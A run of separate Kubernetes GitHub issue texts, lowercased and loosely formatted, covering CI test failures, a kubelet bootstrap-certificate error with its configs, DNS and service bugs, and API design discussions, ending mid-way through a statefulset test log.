from https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/32129/kubernetes-pull-test-unit-integration/46691/:      === run   testreplicasetcontroller  ...   warning: data race read by goroutine 50:   k8s.io/kubernetes/federation/pkg/federation-controller/replicaset.  replicasetcontroller .reconcilereplicaset         /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/replicaset/replicasetcontroller.go:499 +0x22d8   k8s.io/kubernetes/federation/pkg/federation-controller/replicaset.  replicasetcontroller .worker         /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/replicaset/replicasetcontroller.go:324 +0x122   k8s.io/kubernetes/federation/pkg/federation-controller/replicaset.  replicasetcontroller . k8s.io/kubernetes/federation/pkg/federation-controller/replicaset.worker -fm         /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/replicaset/replicasetcontroller.go:221 +0x2d   k8s.io/kubernetes/pkg/util/wait.jitteruntil.func1         /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:84 +0x2a   k8s.io/kubernetes/pkg/util/wait.jitteruntil         /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:85 +0xc9   k8s.io/kubernetes/pkg/util/wait.until         /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:47 +0x50  previous write by goroutine 21:   k8s.io/kubernetes/federation/pkg/federation-controller/replicaset.testreplicasetcontroller         /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/replicaset/replicasetcontroller_test.go:133 +0x2ccb   testing.trunner         /usr/local/go/src/testing/testing.go:473 +0xdc  goroutine 50  running  created at:   k8s.io/kubernetes/federation/pkg/federation-controller/replicaset.  replicasetcontroller .run         /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/replicaset/replicasetcontroller.go:221 +0x2ea  goroutine 21  running  created at:   testing.runtests         /usr/local/go/src/testing/testing.go:582 +0xae2   testing.  m .run         /usr/local/go/src/testing/testing.go:515 +0x11d   main.main         k8s.io/kubernetes/federation/pkg/federation-controller/replicaset/_test/_testmain.go:58 +0x210

feature issue:  opaque integer resources  https://github.com/kubernetes/features/issues/76 \r  sig-scheduling 2017 planning doc  https://docs.google.com/document/d/1f94-_aoyksvs3xhkkltdxleyforiz7rata243y_-gj8 \r \r @kubernetes/sig-scheduling-misc \r \r --------\r \r _requirements:_\r \r -     re-enable e2e tests for default ci runs   42689 \r -     subject oirs to quota  todo: issue \r -     ensure oirs can be defaulted e.g. in admission control  todo: issue \r \r --------\r \r _nice to have:_\r \r -     kubectl describe node shows opaque integer resource request/limit for nonterminal pods   44271 \r -     kubectl patch node doesn't take effect   44269 \r -  x  kubectl describe node should reflect oir consumption in allocatable field   44270

failure cluster  156b8f6ab2021c609a85  https://go.k8s.io/triage 156b8f6ab2021c609a85        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\  --kubectl-path=../../../../kubernetes_skew/cluster/kubectl.sh --minstartuppods=8: exit status 1           failure cluster statistics: 1 tests failed,    17 jobs failed,    119 builds failed. failure stats cover 1 day time range '17 jul 2017 22:16 utc' to '18 jul 2017 22:16 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 17 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-cvm-1-5-gci-1-7-upgrade-cluster | 11 |  18 jul 2017 19:57 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-gci-1-7-upgrade-cluster/284  | | ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster | 11 |  18 jul 2017 18:57 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster/279  | | ci-kubernetes-e2e-gce-1-6-1-7-upgrade-cluster | 11 |  18 jul 2017 19:05 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-upgrade-cluster/269  |   current status  https://go.k8s.io/triage 156b8f6ab2021c609a85

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  / /area test-infra\r \r   what happened  :\r  pull-kubernetes-cross  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-cross/  job is failing\r \r see\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46317/pull-kubernetes-cross/3696/\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/50302/pull-kubernetes-cross/3697/\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/50587/pull-kubernetes-cross/3698/\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/50616/pull-kubernetes-cross/3699/\r \r   what you expected to happen  :\r test should pass

>  \r \r \r   what happened  :\r can't start kubelet\r \r   what you expected to happen  :\r systemctl start kubelet\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r -- unit kubelet.service has begun starting up.\r 9月 05 13:51:55 m1 kubelet 2836 : flag --api-servers has been deprecated, use --kubeconfig instead. will be removed in a future version.\r 9月 05 13:51:55 m1 kubelet 2836 : i0905 13:51:55.154786    2836 feature_gate.go:144  feature gates: map  \r 9月 05 13:51:55 m1 kubelet 2836 : error: failed to run kubelet: cannot create certificate signing request: user \ system:anonymous\  cannot create certificatesigningrequests.certificates.k8s.io at the cluster scope.  \r 9月 05 13:51:55 m1 systemd 1 : kubelet.service: main process exited, code=exited, status=1/failure\r 9月 05 13:51:55 m1 systemd 1 : unit kubelet.service entered failed state.\r 9月 05 13:51:55 m1 systemd 1 : kubelet.service failed.\r 9月 05 13:51:55 m1 systemd 1 : kubelet.service holdoff time over, scheduling restart.\r 9月 05 13:51:55 m1 systemd 1 : started kubernetes kubelet server.\r -- subject: unit kubelet.service has finished start-up\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r -- \r -- unit kubelet.service has finished starting up.\r -- \r -- the start-up result is done.\r 9月 05 13:51:55 m1 systemd 1 : starting kubernetes kubelet server...\r -- subject: unit kubelet.service has begun start-up\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r -- \r -- unit kubelet.service has begun starting up.\r 9月 05 13:51:55 m1 kubelet 2842 : flag --api-servers has been deprecated, use --kubeconfig instead. will be removed in a future version.\r 9月 05 13:51:55 m1 kubelet 2842 : i0905 13:51:55.398127    2842 feature_gate.go:144  feature gates: map  \r 9月 05 13:51:55 m1 kubelet 2842 : error: failed to run kubelet: cannot create certificate signing request: user \ system:anonymous\  cannot create certificatesigningrequests.certificates.k8s.io at the cluster scope.  \r 9月 05 13:51:55 m1 systemd 1 : kubelet.service: main process exited, code=exited, status=1/failure\r 9月 05 13:51:55 m1 systemd 1 : unit kubelet.service entered failed state.\r 9月 05 13:51:55 m1 systemd 1 : kubelet.service failed.\r 9月 05 13:51:55 m1 systemd 1 : kubelet.service holdoff time over, scheduling restart.\r 9月 05 13:51:55 m1 systemd 1 : start request repeated too quickly for kubelet.service\r 9月 05 13:51:55 m1 systemd 1 : failed to start kubernetes kubelet server.\r -- subject: unit kubelet.service has failed\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r -- \r -- unit kubelet.service has failed.\r -- \r -- the result is failed.\r 9月 05 13:51:55 m1 systemd 1 : unit kubelet.service entered failed state.\r 9月 05 13:51:55 m1 systemd 1 : kubelet.service failed.\r    \r    error: failed to run kubelet: cannot create certificate signing request: user \ system:anonymous\  cannot create certificatesigningrequests.certificates.k8s.io at the cluster scope.   \r \r \r \r   anything else we need to know?  :\r    \r  root@m1 ~   systemctl cat kubelet\r   /usr/lib/systemd/system/kubelet.service\r  unit \r description=kubernetes kubelet server\r documentation=https://github.com/googlecloudplatform/kubernetes\r after=docker.service\r requires=docker.service\r \r  service \r workingdirectory=/var/lib/kubelet\r environmentfile=-/etc/kubernetes/config\r environmentfile=-/etc/kubernetes/kubelet\r execstart=/usr/local/bin/kubelet \\\r             $kube_logtostderr \\\r             $kube_log_level \\\r             $kubelet_api_server \\\r             $kubelet_address \\\r             $kubelet_port \\\r             $kubelet_hostname \\\r             $kube_allow_priv \\\r             $kubelet_pod_infra_container \\\r             $kubelet_args\r restart=on-failure\r \r  install \r wantedby=multi-user.target\r    \r \r    \r  root@m1 ~    cat /etc/kubernetes/config && cat /etc/kubernetes/kubelet\r    \r   kubernetes system config\r  \r   the following values are used to configure various aspects of all\r   kubernetes services, including\r  \r     kube-apiserver.service\r     kube-controller-manager.service\r     kube-scheduler.service\r     kubelet.service\r     kube-proxy.service\r   logging to stderr means we get it in the systemd journal\r kube_logtostderr=\ --logtostderr=true\ \r \r   journal message level, 0 is debug\r kube_log_level=\ --v=0\ \r \r   should this cluster be allowed to run privileged docker containers\r kube_allow_priv=\ --allow-privileged=true\ \r \r   how the controller-manager, scheduler, and proxy find the apiserver\r  kube_master=\ --master=http://sz-pg-oam-docker-test-001.tendcloud.com:8080\ \r kube_master=\ --master=http://10.20.1.241:8080\ \r kubelet_address=\ --address=10.20.1.241\ \r kubelet_hostname=\ --hostname-override=10.20.1.241\ \r kubelet_api_server=\ --api-servers=http://10.20.1.241:8080\ \r kubelet_pod_infra_container=\ --pod-infra-container-image=sz-pg-oam-docker-hub-001.tendcloud.com/library/pod-infrastructure:rhel7\ \r kubelet_args=\ --cgroup-driver=systemd --cluster-dns=10.254.0.2 --experimental-bootstrap-kubeconfig=/etc/kubernetes/bootstrap.kubeconfig --kubeconfig=/etc/kubernetes/kubelet.kubeconfig --require-kubeconfig --cert-dir=/etc/kubernetes/ssl --cluster-domain=cluster.local --hairpin-mode promiscuous-bridge --serialize-image-pulls=false\ \r \r    \r \r \r \r    \r  root@m1 ~   systemctl cat kube-apiserver.service\r   /usr/lib/systemd/system/kube-apiserver.service\r  unit \r description=kubernetes api service\r documentation=https://github.com/googlecloudplatform/kubernetes\r after=network.target\r after=etcd.service\r \r  service \r environmentfile=-/etc/kubernetes/config\r environmentfile=-/etc/kubernetes/apiserver\r execstart=/usr/local/bin/kube-apiserver \\\r         $kube_logtostderr \\\r         $kube_log_level \\\r         $kube_etcd_servers \\\r         $kube_api_address \\\r         $kube_api_port \\\r         $kubelet_port \\\r         $kube_allow_priv \\\r         $kube_service_addresses \\\r         $kube_admission_control \\\r         $kube_api_args\r restart=on-failure\r type=notify\r limitnofile=65536\r \r  install \r wantedby=multi-user.target\r \r    \r \r    \r  root@m1 ~   cat /etc/kubernetes/bootstrap.kubeconfig\r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority-data: ls0tls1crudjtibdrvjusuzjq0furs0tls0tck1jsur2akndqxfhz0f3sujbz0lvufb6n1gzme10bvbxyllit2zvl3jbyvvxdkhrd0rrwuplb1pjahzjtkfrruwkqlfbd1puruxnqwthqtfvrujotunrmdr4rurbt0jntlzcqwduqjbkbgfvchbibwn4rurbt0jntlzcqwnuqjbkbaphvxbwym1jeerequtcz05wqkfvveeyczrjekvqtuewr0exvuvdee1hvtnsemrhvnrnuk13rvfzrfzruurfd3bycmrxsmxjbtvszedwek1cnfheveuzturrd01qqtvorel3tuzvwerusxlnrgt3tvrbnu5esxdnrm93wlrfte1ba0ckqtfvrujotunrmdr4rurbt0jntlzcqwduqjbkbgfvchbibwn4rurbt0jntlzcqwnuqjbkbgfvchbibwn4rerbswpcz05wqkfvveeyczrjekvqtuewr0exvuvdee1hvtnsemrhvnrnuk13rvfzrfzruurfd3byzfdkbgntnwxkr1z6ck1jsujjakfoqmdrcwhrauc5dzbcqvffrkfbt0nbuthbtuljqknns0nbuuvbn0q5tzevzmw1v1pccgrub3pot3ukk2pddevol0vtblf4c3jqylhfwuh1a2tqys9zbglxcm9vq1pvwldqvg9wrvjfvvdtdzg1yvyvdvhmzmdqvstfzgpunwzqzfc4ruyxanc5tnjxmmhknwpnz2crngt6ovfhqst3zwlfs1cxutd0wwdus2qwsstqtctpu3kzqxbfr2v0cmxxdjvga0jbz1pvzddvq1jktw1tu1dpy1nmqjvlmxdvrwt0qzdkbhdnykfycmfievowzutmtm5byvk4ukzxrnakr0flk01os2f2wey2tffmuejpecs5bvbgretinlvzugnrykfosvvzqmc2mgewvmnyall4wu0zmgczbw0wb0pvnqpfelf4mjz2d1c0dexxcitdsw8vmezdv3l1q25nrvznmtzkr3bzu2zva1zxyxjicg52ym5grnhhvutrk0vnn2fxcjjrsurbuufcbzjzd1pequ9cz05wsfe4qkfmoevcqu1dqvfzd0vnwurwujbuqvfil0jbz3dcz0vcl3djqkfqqwqkqmdovkhrnevgz1fvaek1qkrzvnzzmexscfnxvkxjodzrzhqrsxhrd0h3wurwujbqqkjnd0zvqvvostvcrhnwdgpzmexscfnxvkxjodzrzhqrsxhrd0rrwuplb1pjahzjtkfrruxcuufez2dfqkforxzysmxmckezd1zkvndzzwjucktkk2grchf6ougyzjhzavnjvgtonktawtm1ywc2bjhocw13z0d1vkv5owtxnk5urmvtwldinzbum042sdeyww8kaeu5txb5mmdivljbaui1q1hwlzzqt1dpeu9isvvobxgyclbscy9iwwpzmgnecmxmcejsnvhvactxsfbhn3oyuapfeg91n0tmtvriawfudgl2zhdozxdlt2xlwhqrz1vkehl6rvvstu94bxzommrqdk9onlbnbvzod0fgmjvgww1tcndyu21iohpoqvhscdh0bhp5wtjzti9mbkrfa0njretovmqxs3lrmwn3n0xzde85nwc3thczzwq3bgzsv1ltc0wkanvadw82bxrpqmtpdgo0tlfvvy9czendu0tvefbvzwtaajjla0nkcnuzaue3l0pvn1harlywvitmcdhjdwrwvqpebfu9ci0tls0tru5eienfulrjrkldqvrfls0tls0k\r     server: https://10.20.1.241:6443\r   name: kubernetes\r contexts:\r - context:\r     cluster: kubernetes\r     user: kubelet-bootstrap\r   name: default\r current-context: default\r kind: config\r preferences: {}\r users:\r - name: kubelet-bootstrap\r   user: {}\r  root@m1 ~   cat /etc/kubernetes/kubelet.kubeconfig\r cat: /etc/kubernetes/kubelet.kubeconfig: 没有那个文件或目录\r    \r \r    \r  root@m1 ~   cat /etc/kubernetes/config && cat /etc/kubernetes/apiserver\r    \r   kubernetes system config\r  \r   the following values are used to configure various aspects of all\r   kubernetes services, including\r  \r     kube-apiserver.service\r     kube-controller-manager.service\r     kube-scheduler.service\r     kubelet.service\r     kube-proxy.service\r   logging to stderr means we get it in the systemd journal\r kube_logtostderr=\ --logtostderr=true\ \r \r   journal message level, 0 is debug\r kube_log_level=\ --v=0\ \r \r   should this cluster be allowed to run privileged docker containers\r kube_allow_priv=\ --allow-privileged=true\ \r \r   how the controller-manager, scheduler, and proxy find the apiserver\r  kube_master=\ --master=http://sz-pg-oam-docker-test-001.tendcloud.com:8080\ \r kube_master=\ --master=http://10.20.1.241:8080\ \r    \r    kubernetes system config\r   \r    the following values are used to configure the kube-apiserver\r   \r  \r    the address on the local server to listen to.\r  kube_api_address=\ --insecure-bind-address=sz-pg-oam-docker-test-001.tendcloud.com\ \r kube_api_address=\ --advertise-address=10.20.1.241 --bind-address=10.20.1.241 --insecure-bind-address=10.20.1.241\ \r  \r    the port on the local server to listen on.\r  kube_api_port=\ --port=8080\ \r  \r    port minions listen on\r  kubelet_port=\ --kubelet-port=10250\ \r  \r    comma separated list of nodes in the etcd cluster\r kube_etcd_servers=\ --etcd-servers=https://10.20.1.241:2379,https://10.20.1.242:2379,https://10.20.1.243:2379\ \r  \r    address range to use for services\r kube_service_addresses=\ --service-cluster-ip-range=10.254.0.0/16\ \r  \r    default admission control policies\r kube_admission_control=\ --admission-control=serviceaccount,namespacelifecycle,namespaceexists,limitranger,resourcequota\ \r  \r    add your own!\r kube_api_args=\ --authorization-mode=rbac --runtime-config=rbac.authorization.k8s.io/v1beta1 --kubelet-https=true --experimental-bootstrap-token-auth --token-auth-file=/etc/kubernetes/token.csv --service-node-port-range=30000-32767 --tls-cert-file=/etc/kubernetes/ssl/kubernetes.pem --tls-private-key-file=/etc/kubernetes/ssl/kubernetes-key.pem --client-ca-file=/etc/kubernetes/ssl/ca.pem --service-account-key-file=/etc/kubernetes/ssl/ca-key.pem --etcd-cafile=/etc/kubernetes/ssl/ca.pem --etcd-certfile=/etc/kubernetes/ssl/kubernetes.pem --etcd-keyfile=/etc/kubernetes/ssl/kubernetes-key.pem --enable-swagger-ui=true --apiserver-count=3 --audit-log-maxage=30 --audit-log-maxbackup=3 --audit-log-maxsize=100 --audit-log-path=/var/lib/audit.log --event-ttl=1h\ \r \r \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r  root@m1 ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:24:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r    \r  root@m1 ~   cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r  root@m1 ~   uname -a\r linux m1 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r    \r  root@m1 ~   ll\r 总用量 390960\r -rw-------.  1 root root      1338 8月  30 15:09 anaconda-ks.cfg\r drwxr-x---  23 root root      4096 9月   5 13:36 kubernetes\r -rw-r--r--   1 root root  30419531 9月   5 11:26 kubernetes-client-linux-amd64.tar.gz\r -rw-r--r--   1 root root 363822229 9月   5 13:33 kubernetes-server-linux-amd64.tar.gz\r -rw-r--r--   1 root root   6086325 9月   5 11:25 kubernetes.tar.gz\r drwxr-xr-x   3 root root        17 9月   2 17:45 local\r drwxr-xr-x   2 root root      4096 9月   2 19:38 ssl\r    \r - others:\r

short info:\r - k8s v1.7.2  soon going to v1.8.0 \r - bare-metal\r - os: ubuntu 16.04.03 lts\r - kernel: 4.11  lowlatency \r \r kube-dns image: <pre><code>gcr.io/google_containers/kubedns-amd64:1.9</code></pre>\r kube-dnsmasq image: <pre><code>gcr.io/google_containers/kube-dnsmasq-amd64:1.4</code></pre>\r after i created some services  i'm speaking about the \ holy trinity\  heapster/grafana/influxdb  and changed their names, the old entries are still present on the dns.\r \r e.g. influxdb service\r \r current name,ip and namespace:\r <pre><code>k8s-influxdb-rbac-svc, 10.97.125.172, kube-system</code></pre>\r previous name, ip and namespace:\r <pre><code>k8s-influxdb-rbac, 10.97.215.189, kube-system</code></pre>\r \r outputs:\r \r <pre><code>root@ubuntu:/  nslookup k8s-influxdb-rbac.kube-system.svc\r server:         10.97.0.10\r address:        10.97.0.10 53\r \r name:   k8s-influxdb-rbac.kube-system.svc.cluster.local\r address: 10.97.215.189</code></pre>\r <pre><code>root@ubuntu:/  nslookup k8s-influxdb-rbac-svc.kube-system.svc\r server:         10.97.0.10\r address:        10.97.0.10 53\r \r    server can't find k8s-influxdb-rbac-svc.kube-system.svc.cluster.local: nxdomain</code></pre>\r the old entry is not shown with:\r <pre><code>kubectl -n kube-system get svc -o wide --show-all</code></pre>\r \r the new entry has endpoints to the current pod it belongs to and is pingable but not resolvable by dns, what is kind of blurry to me  again t_t .  \r the old entry is resolvable and pingable but has no endpoint to the pod  ofc 'cause the pod is new, for the   new   service \r \r   @thockin

\r   is this a bug report or feature request?  :\r  \r   what happened  :\r \r i have an existing tcp service, when i try to add udp to it, it will report success but nothing changes.\r my  kubectl get services  \r \r will show  hello-world      clusterip      10.0.96.64     <none>          8301/tcp \r \r   what you expected to happen  :\r \r i expect  kubectl get services \r \r to show  hello-world      clusterip      10.0.113.37    <none>          8301/tcp,8301/udp \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r if i  kubectl apply -f bug-report.yml  as seen below.\r    yml\r apiversion: v1\r items:\r - apiversion: v1\r   kind: service\r   metadata:\r     labels:\r       io.kompose.service: hello-world\r     name: hello-world\r   spec:\r     ports:\r       - name: serflan-tcp\r         protocol: \ tcp\ \r         port: 8301\r     selector:\r       io.kompose.service: hello-world\r   status:\r     loadbalancer: {}\r kind: list\r metadata: {}\r    \r and then modify the file and i  kubectl apply -f bug-report.yml  below.\r    yml\r apiversion: v1\r items:\r - apiversion: v1\r   kind: service\r   metadata:\r     labels:\r       io.kompose.service: hello-world\r     name: hello-world\r   spec:\r     ports:\r       - name: serflan-tcp\r         protocol: \ tcp\ \r         port: 8301\r       - name: serflan-udp\r         protocol: \ udp\ \r         port: 8301\r     selector:\r       io.kompose.service: hello-world\r   status:\r     loadbalancer: {}\r kind: list\r metadata: {}\r    \r then i expect to see udp and tcp but i only see tcp.\r \r if i if i  kubectl destroy -f bug-report.yml  and then  kubectl apply -f bug-report.yml  then i can see tcp and udp.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : azure aks managed k8s, i don't get to choose the k8s version.\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t19:59:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.7\ , gitcommit:\ 8e1552342355496b62754e61ad5f802a0f3f1fa7\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t23:56:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: azure aks\r - os  e.g. from /etc/os-release : macos 10.12.6\r

should we remove the configurability of  --service-account-api-audiences  and use a const such as  https://kubernetes.default.svc ?\r \r this allows us to easily extend tokenreview to support validation of arbitrary audiences and would provide a portable name kube api name across clusters to use as part of authentication. however, it would restrict the flexibility of deployments where the service account issuer spans multiple clusters. i'm not sure if people are or should be doing this today.\r \r alternatively, we can always append a static  https://kubernetes.default.svc  to the list of implicit api audiences and allow extra api audiences to restrict the scope of tokens in deployments where the service account issuer is shared. this approach would also work with tokenreview.\r \r @kubernetes/sig-auth-api-reviews \r @liggitt

the doc at https://github.com/kubernetes/kubernetes/blob/release-1.1/cluster/addons/cluster-loadbalancing/glbc/readme.md doesn't seem to be accessible on k8s.io, presumably because it's a readme buried in  cluster/ .  can we move it out into a place that will be more accessible to users?

problem:   currently, if a user deletes an owner object, the object will be deleted from the apiserver right away. the garbage collector  gc  will delete the dependent objects in the background. _user has no way to observe the progress of the garbage collection._  the progress of gc is useful information in some scenarios. for example, currently  kubectl delete  will block until all dependent resources are reaped, to maintain the same behavior when we turn on the gc,  kubectl  needs to know when the gc is done.    tentative solutions   1. utilize the  finalizer  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/types.go l152  framework. when a deletion request is sent for the owner object, instead of deleting it from the storage, api-server adds string \ gc\  to the object's objectmeta.finalizers list, gc will observe the change and recursively deletes its dependents. after all dependents are deleted, gc will finally delete the owner from the apiserver. so a client can infer if the gc is done by polling the existence of the owner object.    the   downside   is that the gc can be recursive  e.g., gc of a deployment  and can take long time, so the owner object's name will be hold for a long time. 2. let gc support queries for dependent objects. so a user can send the uid of the owner object to the gc and gc will respond with a list of dependent objects  gc already keeps a dependency graph in the memory . a client can infer the garbage collection is done when the returned list is empty. this information will be valuable for debugging as well.    the   downside\  is that the api will be informal. such an api is meant to be consumed by human rather than to be programmed against.  i think we need to understand the use cases to decide which solution is better. please comment.  @bgrant0607 @lavalamp @smarterclayton @pwittrock @kubernetes/sig-api-machinery

https://kubernetes.io/docs/getting-started-guides/kubeadm/\r \r i tried to install kube cluster as the document guide. but while i tried to deploy microservice demo\r \r    \r as an example, install a sample microservices application, a socks shop, to put your cluster through its paces. note that this demo does only work on amd64. to learn more about the sample microservices app, see the github readme.\r   kubectl create namespace sock-shop\r   kubectl apply -n sock-shop -f \ https://github.com/microservices-demo/microservices-demo/blob/master/deploy/kubernetes/complete-demo.yaml?raw=true\ \r    \r the create services was success. but if i have only 1gb memory as the kubeadm said\r \r    bash\r prerequisites\r \r one or more machines running ubuntu 16.04+, centos 7 or hypriotos v1.0.1+\r 1gb or more of ram per machine  any less will leave little room for your apps \r full network connectivity between all machines in the cluster  public or private network is fine \r \r    \r \r the system became memory lack. and the load became very high\r \r see my vps load\r    bash\r  00:22:17 up  9:41,  1 user,  load average: 99.31, 83.56, 63.53\r \r    \r \r i have 4gb memory on vps. but even lack of memory. \r    bash\r               total        used        free      shared  buff/cache   available\r mem:           3951        3722          88          36         140          36\r swap:             0           0           0\r    \r \r this gave me a feeling.  \r \r kubernetes so slow. like a old bus.\r \r so why not provided a more light weight microservice demo.\r \r like a wordpress site ? like a zencart or other demo?\r \r make kubeadm gettting start feel more amazing and fast.\r

\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/statefulset.go:334\r feb 25 03:57:23.373: statefulset ss scaled unexpectedly scaled to 1 -> 2 replicas: &podlist{listmeta:k8s_io_apimachinery_pkg_apis_meta_v1.listmeta{selflink:/api/v1/namespaces/e2e-tests-statefulset-nv82s/pods,resourceversion:12396,},items: {{ } {ss-0 ss- e2e-tests-statefulset-nv82s /api/v1/namespaces/e2e-tests-statefulset-nv82s/pods/ss-0 72cd2cd9-fb51-11e6-bdf1-42010af00002 12378 0 2017-02-25 03:56:31.835052034 -0800 pst <nil> <nil> map foo:bar baz:blah  map pod.beta.kubernetes.io/subdomain:test kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ statefulset\ ,\ namespace\ :\ e2e-tests-statefulset-nv82s\ ,\ name\ :\ ss\ ,\ uid\ :\ 72ca9fcc-fb51-11e6-bdf1-42010af00002\ ,\ apiversion\ :\ apps\ ,\ resourceversion\ :\ 12030\ }}\r  pod.beta.kubernetes.io/hostname:ss-0        } { {default-token-tshq0 {nil nil nil nil nil secretvolumesource{secretname:default-token-tshq0,items:  ,defaultmode: 420,optional:nil,} nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil}}      {nginx gcr.io/google_containers/nginx-slim:0.7                 {map   map  }  {default-token-tshq0 true /var/run/secrets/kubernetes.io/serviceaccount }  nil &probe{handler:handler{exec:nil,httpget:&httpgetaction{path:/index.html,port:80,host:,scheme:http,httpheaders:  ,},tcpsocket:nil,},initialdelayseconds:0,timeoutseconds:1,periodseconds:10,successthreshold:1,failurethreshold:3,} nil /dev/termination-log file ifnotpresent nil false false false}  always 0xc42115c7d8 <nil> clusterfirst map   default default <nil> e2e-gce-agent-pr-32-0-minion-group-szzq false false false &podsecuritycontext{selinuxoptions:nil,runasuser:nil,runasnonroot:nil,supplementalgroups:  ,fsgroup:nil,}      nil default-scheduler   } {running  {initialized true 0001-01-01 00:00:00 +0000 utc 2017-02-25 03:56:31 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-02-25 03:57:21 -0800 pst containersnotready containers with unready status:  nginx } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-02-25 03:56:31 -0800 pst  }    10.240.0.6 10.180.2.174 2017-02-25 03:56:31 -0800 pst     {nginx {nil &containerstaterunning{startedat:2017-02-25 03:56:32 -0800 pst,} nil} {nil nil nil} false 0 gcr.io/google_containers/nginx-slim:0.7 docker://sha256:a9bfbd3ba7f240fb561895271c875fe21722d30560e56dbf9598ffde1615d4dc docker://ae5752069bb6417865f4d12dba55fc7b73e8eec51ab38c0d83695554123fdd19}  besteffort}} {{ } {ss-1 ss- e2e-tests-statefulset-nv82s /api/v1/namespaces/e2e-tests-statefulset-nv82s/pods/ss-1 90f84131-fb51-11e6-bdf1-42010af00002 12385 0 2017-02-25 03:57:22.449025256 -0800 pst <nil> <nil> map foo:bar baz:blah  map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ statefulset\ ,\ namespace\ :\ e2e-tests-statefulset-nv82s\ ,\ name\ :\ ss\ ,\ uid\ :\ 72ca9fcc-fb51-11e6-bdf1-42010af00002\ ,\ apiversion\ :\ apps\ ,\ resourceversion\ :\ 12380\ }}\r  